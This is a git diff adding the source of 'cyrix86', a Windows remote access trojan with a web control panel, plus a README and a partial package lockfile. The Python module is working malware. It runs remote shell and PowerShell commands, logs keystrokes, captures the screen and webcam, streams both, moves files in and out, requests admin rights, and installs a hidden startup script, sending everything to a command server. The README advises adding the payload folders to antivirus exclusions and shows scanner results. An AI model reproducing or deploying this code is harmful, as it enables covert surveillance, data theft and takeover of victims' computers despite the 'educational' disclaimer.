diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a09955f --- /dev/null +++ b/.gitignore @@ -0,0 +1,295 @@ +public/global +public/uploads +.vscode + +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +lerna-debug.log* +.pnpm-debug.log* + +# Diagnostic reports (https://nodejs.org/api/report.html) +report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json + +# Runtime data +pids +*.pid +*.seed +*.pid.lock + +# Directory for instrumented libs generated by jscoverage/JSCover +lib-cov + +# Coverage directory used by tools like istanbul +coverage +*.lcov + +# nyc test coverage +.nyc_output + +# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) +.grunt + +# Bower dependency directory (https://bower.io/) +bower_components + +# node-waf configuration +.lock-wscript + +# Compiled binary addons (https://nodejs.org/api/addons.html) +build/Release + +# Dependency directories +node_modules/ +jspm_packages/ + +# Snowpack dependency directory (https://snowpack.dev/) +web_modules/ + +# TypeScript cache +*.tsbuildinfo + +# Optional npm cache directory +.npm + +# Optional eslint cache +.eslintcache + +# Optional stylelint cache +.stylelintcache + +# Microbundle cache +.rpt2_cache/ +.rts2_cache_cjs/ +.rts2_cache_es/ +.rts2_cache_umd/ + +# Optional REPL history +.node_repl_history + +# Output of 'npm pack' +*.tgz + +# Yarn Integrity file +.yarn-integrity + +# dotenv environment variable files +.env +.env.development.local +.env.test.local +.env.production.local +.env.local + +# parcel-bundler cache (https://parceljs.org/) +.cache +.parcel-cache + +# Next.js build output +.next +out + +# Nuxt.js build / generate output +.nuxt +dist + +# Gatsby files +.cache/ +# Comment in the public line in if your project uses Gatsby and not Next.js +# https://nextjs.org/blog/next-9-1#public-directory-support +# public + +# vuepress build output +.vuepress/dist + +# vuepress v2.x temp and cache directory +.temp +.cache + +# Docusaurus cache and generated files +.docusaurus + +# Serverless directories +.serverless/ + +# FuseBox cache +.fusebox/ + +# DynamoDB Local files +.dynamodb/ + +# TernJS port file +.tern-port + +# Stores VSCode versions used for testing VSCode extensions +.vscode-test + +# yarn v2 +.yarn/cache +.yarn/unplugged +.yarn/build-state.yml +.yarn/install-state.gz +.pnp.* + +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ \ No newline at end of file diff --git a/README.MD b/README.MD new file mode 100644 index 0000000..bb11cb5 --- /dev/null +++ b/README.MD @@ -0,0 +1,120 @@ +# CYRIX86 - v0.0.1 + +- Windows high-levelĀ `payload`. CYRIx86 provides you with a fully GUI-based control panel for attacks. + +### Disclaimer +``` +Title: cyrix86 +Copyright (c) 2024 Madhanmaaz + +All rights owned by Madhanmaaz. + +The "cyrix86" tool is an educational resource designed for awareness-raising and ethical purposes only. +It is free to use, but any commercial distribution or sale is restricted. +The tool is intended to be used responsibly and with the explicit permission of the relevant network administrators or owners. +The creators and copyright owners of "cyrix86" are not liable for any misuse or unauthorized use of the tool. + +For educational and awareness-raising purposes only. Unauthorized use is prohibited. + +Don't try this on your host | main machine. +``` + +# DEMO + +## Online Scanner Results +1. virusscan.jotti.org + - bat, bat2, c, cmd, cmd2 : [Result](https://virusscan.jotti.org/en-GB/filescanjob/3ns5wo80f4,zf1dzs8a72,l4h1qcyyw0,8p9lgxdxvh,afcnvv3lyg) + - cpp, cpp2, go, go2, vbs : [Result](https://virusscan.jotti.org/en-GB/filescanjob/zprtd45a5m,4gb50gkxpf,rtne3fpgnh,js7qszejt5,2nahhsuvgj) + +2. www.virscan.org + - bat : [Result](https://www.virscan.org./report/c35a77899e8de2ba9805fc5533bc243cf8842eba4e5cd7dc106264d4c3837a9e) + - c : [Result](https://www.virscan.org./report/3a58db7ed8439263a9b09ffab611f801f6051a511e054baae88a665c99929603) + +3. www.hybrid-analysis.com + - bat : [Result](https://www.hybrid-analysis.com/sample/c35a77899e8de2ba9805fc5533bc243cf8842eba4e5cd7dc106264d4c3837a9e) + +4. metadefender.opswat.com + - bat : [Result](https://metadefender.opswat.com/results/file/bzI0MDQwNkJHWDBwN2tKWUdPMHN4WXZkazM_mdaas/regular/overview) + +5. online.drweb.com + - bat : [Result](https://online.drweb.com/result2/?mode=show_stored&id=orc_1712386256_a4ab03f05cb8e4495837f5a1ac3f4517&lng=en) + +![banner](./public/assets/src/banner.jpg) + +## Authors + +Buy Me A Coffee + + +- [@Madhanmaaz](https://www.github.com/madhanmaaz) + +## Requirements +- Server + - [Nodejs](https://nodejs.org/en) +- Build + - [gcc & g++](https://nuwen.net/mingw.html) + - [go](https://go.dev/dl/) + +## Installation + +Install **CYRIx86** with GIT +```bash +git clone https://github.com/madhanmaaz/cyrix86 +``` +```bash +cd cyrix86 +``` +- Install Dependencies +```bash +npm install +``` +- Run +```bash +npm start +``` + +### ADD THIS FOLDER TO EXCLUSIONS: (windows only) [Reference](https://support.microsoft.com/en-us/windows/add-an-exclusion-to-windows-security-811816c0-4dfd-af4a-47e4-c301afe13b26#ID0EBF=Windows_10) +``` +\path\to\cyrix86\payloads +\Users\\Documents\cyrix86-build +``` + +- Open on your browser `http://localhost:3415` +## Credentials +- Username : `admin` + +- Password : `admin` + +- To change config `./utils/config.js` + +- USER-INTERFACE +![ui](./scr/ui.png) + +- Build payload +![build](./scr/create.png) + +- Panel +![panel](./scr/panel.png) + +#### CONTROL PANEL OPTIONS +1. Cmd +1. Powershell +1. Screenshot +1. Webcam Snapshot +1. ScreenShare +1. WebcamStream +1. Play Audio +1. KeyStrokes +1. Upload +1. Download +1. Notification +1. Message Box +1. Uac +1. Python +1. Pip +1. Startup +1. Exit +1. Filemanager + +#### Supported: Os and Builds +- Windows 10 (1803) from build 17063 or later. \ No newline at end of file diff --git a/module/cyrix86.py b/module/cyrix86.py new file mode 100644 index 0000000..7a553b9 --- /dev/null +++ b/module/cyrix86.py @@ -0,0 +1,400 @@ +import subprocess +import mss.tools +import keyboard +import socketio +import requests +import base64 +import random +import ctypes +import time +import json +import mss +import sys +import os + + +ORIGIN, STARTUP, UAC = base64.b64decode(sys.argv[1]).decode().split(",") +isUac = '-UAC' if ctypes.windll.shell32.IsUserAnAdmin() else '' + +ID = f'{os.environ["USERDOMAIN"]}-{os.environ["USERNAME"]}{isUac}' +USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" +BASEFOLDERNAME = os.path.dirname(sys.executable).split("\\")[-1] +TEMP = os.environ['TEMP'] +SIO = socketio.Client() + + +def encoder(data): + return base64.b64encode(json.dumps(data).encode()).decode() + + +def decoder(data): + return json.loads(base64.b64decode(data).decode()) + + +def toServer(command, value): + if not SIO.connected: return + SIO.emit("to-server", encoder({"id": ID, "command": command, "value": value})) + + +def toStream(command, value): + try: + requests.post(f"{ORIGIN}/tar/to-stream", + data={"id": ID, "command": command}, + files={"file": ("a", value)}, + headers={"User-Agent": USERAGENT} + ) + except Exception as e: + print(e) + + +def randomString(strLen): + letters = "qwertyuiopasdfghjklzxcvbnm" + letters += letters.upper() + ranVal = "" + for _ in range(strLen): + ranVal += letters[random.randint(0, len(letters) - 1)] + return ranVal + + +def getFileName(ext): + return os.path.join(TEMP, f"{randomString(20)}.{ext}") + + +def shell(command, app): + if app: command = f"powershell {command}" + + result = subprocess.run( + command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True + ) + + if result.returncode == 0: + return result.stdout + else: + return result.stderr + + +class Piano: + def __init__(self, callback) -> None: + self.__callback = callback + + def white(self, event): + if event.event_type == keyboard.KEY_DOWN: + self.__callback(event.name) + + def start(self): + keyboard.hook(self.white) + + def stop(self): + keyboard.unhook_all() + + +def shellExecutor(c, value, app): + try: + if value[0:3] == "cd ": + os.chdir(value[3 : len(value)]) + toServer("cwd", os.getcwd()) + else: + toServer(c, shell(value, app)) + except Exception as e: + toServer(c, f"ERROR: {e}") + + +def screenshot(c, value): + try: + with mss.mss() as sct: + if value == "1": + filename = getFileName("jpg") + sct.shot(output=filename) + postFile(c, filename) + os.remove(filename) + else: + monitors = sct.monitors + for i in range(len(monitors) - 1): + filename = getFileName("jpg") + sct.shot(mon=i + 1, output=filename) + postFile(c, filename) + os.remove(filename) + except Exception as e: + toServer(c, f"ERROR: {e}") + + +def webcamSnapshot(c, value): + try: + import cv2 + cap = cv2.VideoCapture(int(value)) + if not cap.isOpened(): + toServer(c, "ERROR: Could not open webcam.") + return + + ret, frame = cap.read() + if not ret: + toServer(c, "Error: Could not read frame.") + return + + cap.release() + filename = getFileName("jpg") + cv2.imwrite(filename, frame) + + postFile(c, filename) + os.remove(filename) + except ImportError: + toServer(c, "ERROR: cv not found. The installation process is going on.") + pip('pip', "install opencv-python==4.9.0.80") + except Exception as e: + toServer(c, f"ERROR: {e}") + + +SCREENSHAREING = False +def screenShare(c, monitorIndex, value): + try: + global SCREENSHAREING + if value == "start" and SCREENSHAREING == False: + SCREENSHAREING = True + with mss.mss() as sct: + monitor = sct.monitors[int(monitorIndex)] + while SCREENSHAREING: + print("SCREENSHAREING", SCREENSHAREING, monitorIndex) + image = sct.grab(monitor) + screen = mss.tools.to_png(image.rgb, image.size, level=9) + toStream(c, screen) + time.sleep(0.5) + elif value == "stop" and SCREENSHAREING == True: + SCREENSHAREING = False + except Exception as e: + toServer(c, f"ERROR: {e}") + + +WEBCAMSTREAMING = False +def webcamStream(c, value, webcam): + try: + import cv2 + global WEBCAMSTREAMING + if value == "start" and WEBCAMSTREAMING == False: + cap = cv2.VideoCapture(int(webcam)) + if not cap.isOpened(): + toServer(c, "ERROR: Could not open webcam.") + return + + WEBCAMSTREAMING = True + while WEBCAMSTREAMING: + ret, frame = cap.read() + image = cv2.imencode(".jpg", frame)[1].tobytes() + toStream(c, image) + time.sleep(0.5) + cap.release() + + elif value == "stop" and WEBCAMSTREAMING == True: + WEBCAMSTREAMING = False + except ImportError: + toServer(c, "ERROR: cv not found. The installation process is going on.") + pip('pip', "install opencv-python==4.9.0.80") + except Exception as e: + toServer(c, f"ERROR: {e}") + + +AUDIOPLAYING = False +def playAudio(c, value, fileName): + try: + global AUDIOPLAYING + if value == "start" and AUDIOPLAYING == False: + if not os.path.exists(fileName): + toServer(c, f"ERROR: file not found") + return + AUDIOPLAYING = True + fileName = fileName.replace('"', "") + if fileName.endswith(".mp3") or fileName.endswith(".wav"): + toServer(c, "Playing in background.") + code = f"""Dim oPlayer +Set oPlayer = CreateObject("WMPlayer.OCX") +oPlayer.URL = "{fileName}" +oPlayer.controls.play +While oPlayer.playState <> 1 ' 1 = Stopped + WScript.Sleep 100 +Wend +oPlayer.close""" + player = os.path.join(TEMP, "player.vbs") + with open(player, "w") as f: + f.write(code) + shell(f'cscript "{player}"', False) + elif value == "stop" and AUDIOPLAYING == True: + AUDIOPLAYING = False + shell("taskkill /F /IM cscript.exe", False) + toServer(c, "audio stopped.") + except Exception as e: + toServer(c, f"ERROR: {e}") + + +KEYLOGGING = False +def callbacker(a): + toServer("keystrokes", a) +piano = Piano(callbacker) +def keyStrokes(c, value): + try: + global KEYLOGGING, KEYLOGGINGSTATUS + if value == "start" and KEYLOGGING == False: + KEYLOGGING = True + piano.start() + elif value == "stop" and KEYLOGGING == True: + KEYLOGGING = False + piano.stop() + except Exception as e: + toServer(c, f"ERROR: {e}") + +def getFile(c, url, filename): + try: + res = requests.get(url, headers={"User-Agent": USERAGENT}) + if res.status_code == 200: + with open(filename, "wb") as f: + f.write(res.content) + toServer(c, "upload success") + except Exception as e: + toServer(c, f"ERROR: {e}") + + +def postFile(c, filename): + try: + requests.post( + f"{ORIGIN}/tar?id={ID}&command={c}", files={"file": open(filename, "rb")} + ) + except Exception as e: + toServer(c, f"ERROR: {e}") + + +def notifications(c, icon, title: str, description): + try: + title = title.replace('"', "").replace("'", "") + description = description.replace('"', "").replace("'", "") + shell( + f'''"[void] [System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');$a = New-Object System.Windows.Forms.NotifyIcon;$a.Icon = [System.Drawing.SystemIcons]::Information;$a.BalloonTipIcon = '{icon}' ;$a.BalloonTipTitle = '{title}';$a.BalloonTipText = '{description}';$a.Visible = $True;$a.ShowBalloonTip(50000);"''', + True, + ) + toServer(c, "Success notification.") + except Exception as e: + toServer(c, f"ERROR: {e}") + + +def messageBox(c, icon, buttons, title, description): + try: + toServer(c, f"Success: messagebox") + ctypes.windll.user32.MessageBoxW(0, title, description, int(buttons) | int(icon)) + except Exception as e: + toServer(c, f"ERROR: {e}") + + +def uac(c): + try: + if not ctypes.windll.shell32.IsUserAnAdmin(): + res = ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, f'"{sys.argv[0]}" {" ".join(sys.argv[1:])}', None, 0) + if res == 42: + toServer(c, f'ACCESSGRATED: goto -> {ID}-UAC') + _exit(c) + else: + toServer(c, 'ERROR: ACCESSDENIED') + else: + toServer(c, 'ALREADY ACCESSGRATED') + except Exception as e: + toServer(c, f"ERROR: {e}") + + +def runPython(c, value): + try: + filename = os.path.join(TEMP, "runpython.py") + with open(filename, "w") as f: + f.write(value) + toServer(c, shell(f'"{sys.executable}" -u "{filename}"', False)) + except Exception as e: + toServer(c, f"ERROR: {e}") + + +def pip(c, value): + try: + toServer(c, shell(f'"{os.path.join(os.path.dirname(sys.executable), "Scripts", "pip")}" {value}', False)) + except Exception as e: + toServer(c, f"ERROR: {e}") + + +def startup(c, value): + startupFile = os.path.join( + os.environ["APPDATA"], + "Microsoft", + "Windows", + "Start Menu", + "Programs", + "Startup", + f"{value}.vbs", + ) + try: + with open(startupFile, "w",) as f: + f.write(f'''' python installer +CreateObject("WScript.Shell").run "cmd /c ""cd %APPDATA%\\{BASEFOLDERNAME} & python -m cyrix86 {sys.argv[1]}""", 0''') + if os.path.exists(startupFile): + toServer(c, "success.") + else: + toServer(c, "ERROR: startup not installed.") + except Exception as e: + toServer(c, f"ERROR: {e}") + + +def _exit(c): + SIO.disconnect() + exit(0) + +@SIO.on("connect") +def onConnect(): + SIO.emit("connected", encoder({"id": ID, "type": True, "cwd": os.getcwd()})) + +@SIO.on("disconnect") +def onDisConnect(): + pass + +@SIO.on(f"to-{ID}") +def executor(data): + data = json.loads(base64.b64decode(data).decode()) + command = data['command'] + if command == "cmd": + shellExecutor(command, data['value'], False) + elif command == "powershell": + shellExecutor(command, data['value'], True) + elif command == "screenshot": + screenshot(command, data['screen']) + elif command == "webcam-snapshot": + webcamSnapshot(command, data['value']) + elif command == "screenshare": + screenShare(command, data['monitor'], data['value']) + elif command == "webcamstream": + webcamStream(command, data['value'], data['webcam']) + elif command == "playaudio": + playAudio(command, data['value'], data['filename']) + elif command == "keystrokes": + keyStrokes(command, data['value']) + elif command == "upload": + getFile(command, data['url'], data['filename']) + elif command == "download": + postFile(command, data['filename']) + elif command == "notifications": + notifications(command, data['icon'], data['title'], data['content']) + elif command == "messagebox": + messageBox(command, data['icon'], data['buttons'], data['title'], data['content']) + elif command == "uac": + uac(command) + elif command == "python": + runPython(command, data['value']) + elif command == "pip": + pip(command, data['value']) + elif command == "startup": + startup(command, data['value']) + elif command == "exit": + _exit(command) + +def main(): + if STARTUP == 'True': startup("startup", "python") + if UAC == 'True': uac("uac") + try: + SIO.connect(ORIGIN, wait_timeout=10) + SIO.wait() + except: + time.sleep(4) + main() + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/module/setup.py b/module/setup.py new file mode 100644 index 0000000..3f9ab18 --- /dev/null +++ b/module/setup.py @@ -0,0 +1,17 @@ +from setuptools import setup, find_packages + +setup( + name="cyrix86a", + version="1", + author="madhanmaaz", + description="install custom packages", + packages=find_packages(), + py_modules=["cyrix86"], + install_requires=[ + "websocket-client==1.7.0", + "python-socketio==5.11.2", + "requests==2.31.0", + "keyboard==0.13.5", + "mss==9.0.1" + ], +) \ No newline at end of file diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..f51ade4 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,1582 @@ +{ + "name": "cyrix86", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "cyrix86", + "version": "1.0.0", + "license": "ISC", + "dependencies": { + "axios": "^1.6.8", + "cookie-parser": "^1.4.6", + "ejs": "^3.1.9", + "express": "^4.19.2", + "express-fileupload": "^1.5.0", + "octavia-db": "^1.0.0", + "socket.io": "^4.7.5", + "uuid": "^9.0.1" + }, + "devDependencies": { + "nodemon": "^3.1.0" + } + }, + "node_modules/@socket.io/component-emitter": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.0.tgz", + "integrity": "sha512-+9jVqKhRSpsc591z5vX+X5Yyw+he/HCB4iQ/RYxw35CEPaY1gnsNE43nf9n9AaYjAQrTiI/mOwKUKdUs9vf7Xg==" + }, + "node_modules/@types/cookie": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@types/cookie/-/cookie-0.4.1.tgz", + "integrity": "sha512-XW/Aa8APYr6jSVVA1y/DEIZX0/GMKLEVekNG727R8cs56ahETkRAy/3DR7+fJyh7oUgGwNQaRfXCun0+KbWY7Q==" + }, + "node_modules/@types/cors": { + "version": "2.8.17", + "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.17.tgz", + "integrity": "sha512-8CGDvrBj1zgo2qE+oS3pOCyYNqCPryMWY2bGfwA0dcfopWGgxs+78df0Rs3rc9THP4JkOhLsAa+15VdpAqkcUA==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/node": { + "version": "20.11.30", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.11.30.tgz", + "integrity": "sha512-dHM6ZxwlmuZaRmUPfv1p+KrdD1Dci04FbdEm/9wEMouFqxYoFl5aMkt0VMAUtYRQDyYvD41WJLukhq/ha3YuTw==", + "dependencies": { + "undici-types": "~5.26.4" + } + }, + "node_modules/abbrev": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", + "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", + "dev": true + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + }, + "node_modules/async": { + "version": "3.2.5", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.5.tgz", + "integrity": "sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg==" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + }, + "node_modules/axios": { + "version": "1.6.8", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz", + "integrity": "sha512-v/ZHtJDU39mDpyBoFVkETcd/uNdxrWRrg3bKpOKzXFA6Bvqopts6ALSMU3y6ijYxbw2B+wPrIv46egTzJXCLGQ==", + "dependencies": { + "follow-redirects": "^1.15.6", + "form-data": "^4.0.0", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, + "node_modules/base64id": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz", + "integrity": "sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==", + "engines": { + "node": "^4.5.0 || >= 5.9" + } + }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/body-parser": { + "version": "1.20.2", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.2.tgz", + "integrity": "sha512-ml9pReCu3M61kGlqoTm2umSXTlRTuGTx0bfYj+uIUKKYycG5NtSbeetV3faSU6R7ajOPw0g/J1PvK4qNy7s5bA==", + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.5", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.11.0", + "raw-body": "2.5.2", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/busboy": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/busboy/-/busboy-1.6.0.tgz", + "integrity": "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==", + "dependencies": { + "streamsearch": "^1.1.0" + }, + "engines": { + "node": ">=10.16.0" + } + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dev": true, + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": 